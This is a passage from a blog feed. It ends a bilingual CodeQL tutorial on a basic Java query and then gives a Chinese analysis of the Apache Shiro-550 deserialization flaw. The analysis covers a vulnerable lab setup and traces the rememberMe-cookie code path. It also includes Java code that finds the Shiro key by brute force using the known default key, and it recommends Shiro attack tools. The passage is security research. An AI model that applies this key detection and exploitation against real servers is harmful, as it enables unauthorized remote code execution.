standard query library for that language, you will see a red alert message at the appropriate point within the code.</p><blockquote><p>匹配的if语句会在代码查看器中以黄色背景高亮显示。如果文件中的任何代码也匹配了该语言的标准查询库中的查询，您将在代码中的适当位置看到一条红色的警报信息。</p></blockquote></li></ol><h3 id="About-the-query-structure"><a href="#About-the-query-structure" class="headerlink" title="About the query structure"></a>About the query structure</h3><p>After the initial <code>import</code> statement, this simple query comprises three parts that serve similar purposes to the FROM, WHERE, and SELECT parts of an SQL query.</p><blockquote><p>在初始导入语句之后，这个简单的查询由三个部分组成，其作用类似于SQL查询中的FROM、WHERE和SELECT部分。</p></blockquote><table><thead><tr><th align="left">Query part</th><th align="left">Purpose</th><th align="left">Details</th></tr></thead><tbody><tr><td align="left"><code>import java</code></td><td align="left">Imports the standard CodeQL libraries for Java.</td><td align="left">Every query begins with one or more <code>import</code> statements.</td></tr><tr><td align="left"></td><td align="left">导入Java的标准CodeQL库</td><td align="left">每个查询都以一个或多个导入语句开始。</td></tr><tr><td align="left"><code>from IfStmt ifstmt, Block block</code></td><td align="left">Defines the variables for the query. Declarations are of the form: <code>&lt;type&gt; &lt;variable name&gt;</code></td><td align="left">We use: an <code>IfStmt</code> variable for <code>if</code> statements ;  a <code>Block</code> variable for the then block</td></tr><tr><td align="left"></td><td align="left">声明的形式是：<type> &lt;variable name &lt;类型&gt; &lt;变量名&gt;。</type></td><td align="left">我们使用:一个 “IfStmt “变量用于 “if “语句; a “Block “变量用于 “then “块。</td></tr><tr><td align="left"><code>where ifstmt.getThen() = block and block.getNumStmt() = 0</code></td><td align="left">Defines a condition on the variables.</td><td align="left"><code>ifstmt.getThen() = block</code> relates the two variables. The block must be the <code>then</code> branch of the <code>if</code> statement.<code>block.getNumStmt() = 0</code> states that the block must be empty (that is, it contains no statements).</td></tr><tr><td align="left"></td><td align="left">定义一个变量的条件。</td><td align="left">ifstmt.getThen() = block将两个变量联系起来。block必须是if语句的then分支。block.getNumStmt() = 0 说明该块必须是空的（也就是说，它不包含任何语句）。</td></tr><tr><td align="left"><code>select ifstmt, "This 'if' statement is redundant."</code></td><td align="left">Defines what to report for each match.<code>select</code> statements for queries that are used to find instances of poor coding practice are always in the form: <code>select &lt;program element&gt;, "&lt;alert message&gt;"</code></td><td align="left">Reports the resulting <code>if</code> statement with a string that explains the problem.</td></tr><tr><td align="left"></td><td align="left">定义了每个匹配的报告内容。用于查找不良编码实践实例的查询的select语句总是采用这样的形式：select <program element="">, “<alert message="">“</alert></program></td><td align="left">用一个解释问题的字符串报告结果的if语句。</td></tr></tbody></table><h2 id="Extend-the-query"><a href="#Extend-the-query" class="headerlink" title="Extend the query"></a>Extend the query</h2><p>Query writing is an inherently iterative process. You write a simple query and then, when you run it, you discover examples that you had not previously considered, or opportunities for improvement.</p><blockquote><p>查询的编写本质上是一个迭代的过程。你写了一个简单的查询，然后，当你运行它时，你会发现你以前没有考虑过的例子，或者改进的机会。</p></blockquote><h3 id="Remove-false-positive-results"><a href="#Remove-false-positive-results" class="headerlink" title="Remove false positive results"></a>Remove false positive results</h3><p>Browsing the results of our basic query shows that it could be improved. Among the results you are likely to find examples of <code>if</code> statements with an <code>else</code> branch, where an empty <code>then</code> branch does serve a purpose. For example:</p><blockquote><p>浏览我们的基本查询结果，发现它还可以改进。在这些结果中，你很可能会发现if语句带有else分支的例子，其中空的then分支确实有一定的作用。例如:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">if (...) {</span><br><span class="line">  ...</span><br><span class="line">} else if ("-verbose".equals(option)) {</span><br><span class="line">  // nothing to do - handled earlier</span><br><span class="line">} else {</span><br><span class="line">  error("unrecognized option");</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>In this case, identifying the <code>if</code> statement with the empty <code>then</code> branch as redundant is a false positive. One solution to this is to modify the query to ignore empty <code>then</code> branches if the <code>if</code> statement has an <code>else</code> branch.</p><blockquote><p>在这种情况下，将带有空的then分支的if语句识别为多余的语句，是一种假阳性。一种解决方法是修改查询，如果if语句有 else分支，则忽略空then分支。</p></blockquote><p>To exclude <code>if</code> statements that have an <code>else</code> branch:</p><blockquote><p>要排除有else分支的if语句。</p></blockquote><ol><li><p>Extend the where clause to include the following extra condition:</p><blockquote><p>扩展where子句，加入以下额外条件:</p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and not exists(ifstmt.getElse())</span><br></pre></td></tr></tbody></table></figure><p> The <code>where</code> clause is now:</p><blockquote><p>现在的where子句:</p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">where ifstmt.getThen() = block and</span><br><span class="line">  block.getNumStmt() = 0 and</span><br><span class="line">  not exists(ifstmt.getElse())</span><br></pre></td></tr></tbody></table></figure></li><li><p>Click <strong>Run</strong>.</p><p> There are now fewer results because <code>if</code> statements with an <code>else</code> branch are no longer included.</p><blockquote><p>现在结果减少了，因为不再包含带有 else 分支的 if 语句。</p></blockquote></li></ol><p>➤ <a href="https://lgtm.com/query/6382189874776576029/" target="_blank" rel="noopener">See this in the query console</a></p><h2 id="Further-reading"><a href="#Further-reading" class="headerlink" title="Further reading"></a>Further reading</h2><ul><li><p><a href="https://github.com/github/codeql/tree/main/java/ql/src" target="_blank" rel="noopener">CodeQL queries for Java</a></p></li><li><p><a href="https://github.com/github/codeql/tree/main/java/ql/examples" target="_blank" rel="noopener">Example queries for Java</a></p></li><li><p><a href="https://codeql.github.com/codeql-standard-libraries/java/" target="_blank" rel="noopener">CodeQL library reference for Java</a></p></li><li><p>“<a href="https://codeql.github.com/docs/ql-language-reference/#ql-language-reference" target="_blank" rel="noopener">QL language reference</a>”</p></li><li><p>“<a href="https://codeql.github.com/docs/codeql-overview/codeql-tools/#codeql-tools" target="_blank" rel="noopener">CodeQL tools</a>”</p></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Basic-query-for-Java-code¶&quot;&gt;&lt;a href=&quot;#Basic-query-for-Java-code¶&quot; class=&quot;headerlink&quot; title=&quot;Basic query for Java code¶&quot;&gt;&lt;/a&gt;Basic qu
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Shiro-550反序列化漏洞分析</title>
    <link href="https://summersec.github.io/2021/03/21/Shiro-550%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>https://summersec.github.io/2021/03/21/Shiro-550%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</id>
    <published>2021-03-21T11:01:42.000Z</published>
    <updated>2021-01-22T11:19:36.323Z</updated>
    
    <content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>   Shiro反序列化漏洞目前为止有两个，Shiro-550<code>(Apache  Shiro &lt; 1.2.5)</code>和Shiro-721<code>( Apache  Shiro &lt; 1.4.2 )</code>。这两个漏洞主要区别在于Shiro550使用已知密钥撞，后者Shiro721是使用<code>登录后rememberMe={value}去爆破正确的key值</code>进而反序列化，对比Shiro550条件只要有<code>足够密钥库</code>（条件比较低）、Shiro721需要登录（要求比较高<del>鸡肋</del>）。</p><ul><li><code>Apache Shiro &lt; 1.4.2</code>默认使用<code>AES/CBC/PKCS5Padding</code>模式</li><li><code>Apache Shiro &gt;= 1.4.2</code>默认使用<code>AES/GCM/PKCS5Padding</code>模式</li></ul><hr><h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>   采用Maven仓库的形式，源码放在<a href="https://github.com/SummerSec/JavaLearnVulnerability" target="_blank" rel="noopener">GitHub</a>上，直接用Idea打开即可。</p><figure class="highlight xml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">project</span> <span class="attr">xmlns</span>=<span class="string">"http://maven.apache.org/POM/4.0.0"</span></span></span><br><span class="line"><span class="tag">         <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span></span></span><br><span class="line"><span class="tag">         <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">modelVersion</span>&gt;</span>4.0.0<span class="tag">&lt;/<span class="name">modelVersion</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">parent</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-parent<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.3.5.RELEASE<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">relativePath</span>/&gt;</span> <span class="comment">&lt;!-- lookup parent from repository --&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">parent</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.example<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shiro-deser<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0-SNAPSHOT<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shiro<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shiro-spring<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.4<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shiro<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shiro-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.4<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-thymeleaf<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-test<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">scope</span>&gt;</span>test<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">exclusions</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">exclusion</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.junit.vintage<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>junit-vintage-engine<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">exclusion</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">exclusions</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!--        hutool是一款十分强大工具库--&gt;</span></span><br><span class="line"><span class="comment">&lt;!--        官网地址 https://www.hutool.cn/--&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.hutool<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>hutool-all<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>5.5.7<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!--         添加commons-collections依赖作为 payload--&gt;</span></span><br><span class="line"><span class="comment">&lt;!--        &lt;dependency&gt;--&gt;</span></span><br><span class="line"><span class="comment">&lt;!--            &lt;groupId&gt;commons-collections&lt;/groupId&gt;--&gt;</span></span><br><span class="line"><span class="comment">&lt;!--            &lt;artifactId&gt;commons-collections&lt;/artifactId&gt;--&gt;</span></span><br><span class="line"><span class="comment">&lt;!--            &lt;version&gt;4.0&lt;/version&gt;--&gt;</span></span><br><span class="line"><span class="comment">&lt;!--        &lt;/dependency&gt;--&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.commons<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections4<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>4.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">build</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">plugins</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-maven-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">        // debug参数</span><br><span class="line">            <span class="tag">&lt;<span class="name">jvmArguments</span>&gt;</span></span><br><span class="line">                -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005</span><br><span class="line">            <span class="tag">&lt;/<span class="name">jvmArguments</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">plugins</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">build</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">project</span>&gt;</span></span><br><span class="line">`</span><br></pre></td></tr></tbody></table></figure><hr><h1 id="流程分析"><a href="#流程分析" class="headerlink" title="流程分析"></a>流程分析</h1><ul><li><p>调用org\apache\shiro\mgt\DefaultSecurityManager.class#resolvePrincipals方法<code>获取remember凭证</code></p><p><img src="https://img-blog.csdnimg.cn/20210120170900332.png" alt="在这里插入图片描述"></p></li><li><p>DefaultSecurityManager.class#getRememberedIdentity调用方法<code>获取rememberMe认证的序列化数据</code><br><img src="https://img-blog.csdnimg.cn/20210120170957673.png" alt="在这里插入图片描述"></p></li><li><p>接着调用父类org\apache\shiro\mgt\AbstractRememberMeManager.class#getRememberedPrincipals方法在122行调用<code>getRememberedSerializedIdentity</code>方法获取cookie中的值<br><img src="https://img-blog.csdnimg.cn/20210120171218140.png" alt="在这里插入图片描述"></p></li><li><p>然后来到org\apache\shiro\web\mgt\CookieRememberMeManager.class#getRememberedSerializedIdentity获取cookie值之后，先判断一下是否为空和<code>deleteMe</code>，解之Base64解码最后在95行处返回byte[]值<br><img src="https://img-blog.csdnimg.cn/20210122145845874.png" alt="在这里插入图片描述"><br><img src="https://img-blog.csdnimg.cn/20210122150020874.png" alt="在这里插入图片描述"></p></li><li><p>org\apache\shiro\mgt\AbstractRememberMeManager.class#getRememberedPrincipals方法的124行进行类型转化，类型转化的过程中会进行AES解密操作，进而作为反序列化的数据<br><img src="https://img-blog.csdnimg.cn/20210122150415517.png" alt="在这里插入图片描述"></p></li><li><p>AbstractRememberMeManager.class#convertBytesToPrincipals进行AES解密操作，最后调用反序列化方法，将数据反序列化，导致反序列化漏洞<br><img src="https://img-blog.csdnimg.cn/20210122150613761.png" alt="在这里插入图片描述"></p></li><li><p>AbstractRememberMeManager#decrypt方法</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="keyword">byte</span>[] decrypt(<span class="keyword">byte</span>[] encrypted) {</span><br><span class="line">        <span class="keyword">byte</span>[] serialized = encrypted;</span><br><span class="line">        CipherService cipherService = <span class="keyword">this</span>.getCipherService();</span><br><span class="line">        <span class="keyword">if</span> (cipherService != <span class="keyword">null</span>) {</span><br><span class="line">            ByteSource byteSource = cipherService.decrypt(encrypted, <span class="keyword">this</span>.getDecryptionCipherKey());</span><br><span class="line">            serialized = byteSource.getBytes();</span><br><span class="line">        }</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> serialized;</span><br><span class="line">    }</span><br></pre></td></tr></tbody></table></figure></li><li><p>查看bytes数据值，可以看到解密后是生成的恶意payload</p><p><img src="https://img-blog.csdnimg.cn/20210122151026506.png" alt="在这里插入图片描述"></p></li><li><p>完整的payload演示效果<br>  <img src="https://img-blog.csdnimg.cn/20210122191831440.gif" alt="在这里插入图片描述"></p></li></ul><hr><h1 id="Shiro‘s-key爆破方式"><a href="#Shiro‘s-key爆破方式" class="headerlink" title="Shiro‘s key爆破方式"></a>Shiro‘s key爆破方式</h1><h2 id="基于原生shiro框架检测方式"><a href="#基于原生shiro框架检测方式" class="headerlink" title="基于原生shiro框架检测方式"></a>基于原生shiro框架检测方式</h2><p>l1nk3r师傅的检测思路地址: <a href="https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ</a><br>关键代码：</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">SimplePrincipalCollection simplePrincipalCollection = <span class="keyword">new</span> SimplePrincipalCollection();</span><br><span class="line">       ObjectOutputStream obj = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(<span class="string">"payload"</span>));</span><br><span class="line">       obj.writeObject(simplePrincipalCollection);</span><br><span class="line">       obj.close();</span><br></pre></td></tr></tbody></table></figure><p>实现具体代码</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line">        <span class="comment">// 正确key</span></span><br><span class="line">        String realkey = <span class="string">"kPH+bIxk5D2deZiIxcaaaA=="</span>;</span><br><span class="line">        <span class="comment">// 错误key</span></span><br><span class="line">        String errorkey = <span class="string">"2AvVhdsgUs0FSA3SDFAdag=="</span>;</span><br><span class="line">        <span class="comment">// 序列化文件路径</span></span><br><span class="line">        String filepath = <span class="string">"E:\\Soures\\JavaLearnVulnerability\\shiro\\shiro-deser\\key"</span>;</span><br><span class="line"></span><br><span class="line">        SimplePrincipalCollection simplePrincipalCollection = <span class="keyword">new</span> SimplePrincipalCollection();</span><br><span class="line">        ObjectOutputStream obj = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(filepath));</span><br><span class="line">        <span class="keyword">try</span> {</span><br><span class="line">            <span class="comment">// 写入序列化数据</span></span><br><span class="line">            obj.writeObject(simplePrincipalCollection);</span><br><span class="line">            obj.close();</span><br><span class="line">        } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        }</span><br><span class="line">        FileReader fileReader = <span class="keyword">new</span> FileReader(filepath);</span><br><span class="line"></span><br><span class="line">        CbcEncrypt cbcEncrypt = <span class="keyword">new</span> CbcEncrypt();</span><br><span class="line">        String realcookie = <span class="string">"rememberMe="</span> + cbcEncrypt.encrypt(realkey,fileReader.readBytes());</span><br><span class="line">        String errorcookie = <span class="string">"rememberMe="</span> + cbcEncrypt.encrypt(errorkey,fileReader.readBytes());</span><br><span class="line">        System.out.println(<span class="string">"realcookie --&gt; "</span> + realcookie);</span><br><span class="line">        System.out.println(<span class="string">"errorcookie --&gt; "</span> + errorcookie);</span><br><span class="line">        String url = <span class="string">"http://127.0.0.1:8001/index"</span>;</span><br><span class="line">        <span class="comment">// 发送请求包，获取返回包</span></span><br><span class="line">        HttpResponse realresponse = HttpRequest.get(url).cookie(realcookie).execute();</span><br><span class="line">        HttpResponse errorresponse = HttpRequest.get(url).cookie(errorcookie).execute();</span><br><span class="line">        String result1 = realresponse.header(Header.SET_COOKIE);</span><br><span class="line">        String result2 = errorresponse.header(Header.SET_COOKIE);</span><br><span class="line">        <span class="comment">// 输出结果</span></span><br><span class="line">        System.out.println(<span class="string">"realkey ---&gt; "</span> + result1);</span><br><span class="line">        System.out.println(<span class="string">"errorkey ---&gt; "</span> + result2);</span><br><span class="line">    }</span><br></pre></td></tr></tbody></table></figure><p><img src="https://img-blog.csdnimg.cn/20210122190937627.png" alt="在这里插入图片描述"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>   Gadget Chian 如下。简单来说流程就是将生成恶意Payload进行AES加密，然后Base64编码，然后以<code>rememberMe={value}</code>形式发送给服务器。服务器将<code>value</code>Base64解码，然后将解码后数据进行AES解密，最后反序列化执行命令。<br>   Shiro721在登录之后，用登录后服务器生成rememberMe的值进行Base64解码之后，用解码数据，再通过<code>Padding Oracle Attack</code>进行爆破得到key具体参考<a href="https://paper.seebug.org/1378/#412-apache-shiro-padding-oracle-attack" target="_blank" rel="noopener">Shiro 组件漏洞与攻击链分析</a>。</p><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">*                  Gadget chian:</span><br><span class="line">*                      DefaultSecurityManager.resolvePrincipals()</span><br><span class="line">*                          DefaultSecurityManager.getRememberedIdentity()</span><br><span class="line">*                              AbstractRememberMeManager.getRememberedPrincipals()</span><br><span class="line">*                                  CookieRememberMeManager#getRememberedSerializedIdentity()</span><br><span class="line">*                                      AbstractRememberMeManager#getRememberedPrincipals()</span><br><span class="line">*                                          AbstractRememberMeManager.convertBytesToPrincipals()</span><br><span class="line">*                                              AbstractRememberMeManager.decrypt()</span><br><span class="line">*                                                  AbstractRememberMeManager.deserialize()</span><br><span class="line">*                                                      .....................</span><br><span class="line">*                                                               ..........</span><br><span class="line">*  </span><br><span class="line">*</span><br></pre></td></tr></tbody></table></figure><hr><h2 id="Shiro实用工具推荐"><a href="#Shiro实用工具推荐" class="headerlink" title="Shiro实用工具推荐"></a>Shiro实用工具推荐</h2><ul><li><a href="https://github.com/j1anFen/shiro_attack" target="_blank" rel="noopener">shiro_attack</a> 推荐理由：javafx写的UI，支持tomcat全版本回显和Spring Boot回显。使用<code>SimplePrincipalCollection</code>爆破key，支持高版本加密方式爆破（GCM模式）项目还在维护。<br><img src="https://img-blog.csdnimg.cn/20210122183413881.png" alt=""></li></ul><hr><ul><li><a href="https://github.com/pmiaowu/BurpShiroPassiveScan" target="_blank" rel="noopener">BurpShiroPassiveScan</a>是一款burp插件，被动式扫描，自动识别是否为shiro框架，支持CBC/GCM两种加密方式，同时默认使用<code>SimplePrincipalCollection</code>爆破key，项目在维护。<br><img src="https://img-blog.csdnimg.cn/2021012218384769.png" alt="在这里插入图片描述"></li></ul><hr><h2 id="踩坑记录"><a href="#踩坑记录" class="headerlink" title="踩坑记录"></a>踩坑记录</h2><h3 id="编码不一致问题"><a href="#编码不一致问题" class="headerlink" title="编码不一致问题"></a>编码不一致问题</h3><p>由于Windows 